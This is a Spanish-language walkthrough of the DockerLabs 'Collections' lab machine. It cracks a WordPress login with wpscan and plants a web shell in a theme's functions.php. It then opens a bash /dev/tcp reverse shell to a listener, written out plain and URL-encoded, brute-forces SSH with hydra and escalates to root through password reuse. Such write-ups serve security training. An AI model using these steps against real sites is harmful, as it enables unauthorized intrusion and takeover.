DockerLabs collections

DockerLabs collections

Esta es una máquina de DockerLabs de nivel medio

·

4 min read

Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.

Descargamos el archivo de la página dockerlabs.es/#

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.

Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.

Realizamos un escaneo de los puertos y podemos observar que tenemos 3 puertos y el tercero parece ser un servicio de MongoDB.

Realizamos un escaneo de los directorios y podemos observar que tiene un directorio de WordPress.

Como encontramos este directorio nos dirigimos a este en la web y observamos los usuarios y podemos ver una página.

Si hacemos clic en otro directorio podemos ver que nos redirige a otra página, pero debemos agregar el dominio a nuestro host.

Revisando en la página luego de agregar en el dominio podemos observar que tenemos el usuario chocolate.

Nos dirigimos a la página wp-admin y podemos observar que el usuario chocolate es válido.

Para ver si podemos obtener las credenciales de chocolate usaremos wpscan y podemos observar que el password es el mismo que el usuario.

Usamos las credenciales para loguearnos y podemos observar que ya estamos dentro.

Revisando usuario, notamos que es el único usuario y que tiene accesos de administrador.

Para obtener una shell vamos a herramientas luego a editor de temas y por último seleccionamos el tema twenty twenty-two.

En la sección de functions.php agregaremos una web shell y le damos en actualizar el archivo.

Ahora para acceder a esta webshell usamos la siguiente dirección que contiene la ubicación del archivo y si agregamos el parámetro podemos ver que se ejecuta el comando id.

http://collections.dl/wordpress/wp-content/themes/twentytwentytwo/functions.php?cmd=id

Ya que podemos ejecutar comandos estableceremos una shell. Para ello iniciaremos nuestro listener con nc.

Y deberemos establecer nuestra consulta.

bash -c \ "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1\ "'

Para evitar problemas con los símbolos lo pasamos a base 64

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22

Y enviamos, el URL debería ser así.

http://collections.dl/wordpress/wp-content/themes/twentytwentytwo/functions.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22

Al momento de enviar en nuestro listener ya deberíamos poder ver que se estableció conexión.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos.

script /dev/null -c bash

Luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola.

Tratamos de realizar un sudo -l, pero podemos observar que no tenemos el comando.

Revisamos permisos SUID y capabilities, pero no podemos observar nada que nos sea útil.

Como por ahora no sabemos como escalar recordemos que encontramos que MongoDB estaba habilitado tratamos de conectarnos, pero no es posible porque no existe el comando.

Ya que no podemos ver como escalar por este usuario, iremos a la carpeta home y podemos observar que tenemos dos usuarios.

Antes nos conectamos a la DB de mongo podemos acceder sin ningún password y podemos observar que tenemos varias bases de datos.

Buscando por cada una en la DB de accesos podemos observar que tenemos las credenciales del usuario

dbadmin:chocolaterequetebueno123

Si probamos estas credenciales para conectarnos pode ssh podemos observar que no es posible.

Así que usando hydra para el otro usuario podemos observar que tuvimos el password.

chocolate:estrella

Tratamos de conectarnos y es posible acceder por este usuario.

Probamos a realizar un sudo -l, pero tampoco podemos realizarlo con este usuario. Buscamos permisos SUID y capabilities, tampoco encontramos algo útil.

Como no encontramos nada probamos el usuario de dbadmin desde chocolate y podemos observar que sí accedemos.

Realizamos las mismas búsquedas con este usuario, pero tampoco tenemos algo de que aprovecharnos, también buscamos tareas programadas y no encontramos nada.

Probando passwords como root obtenemos que el password de dbadmin es curiosamente la misma de root. Esto seguro es porque el mismo usuario maneja ambas cuentas y hace reutilización de passwords.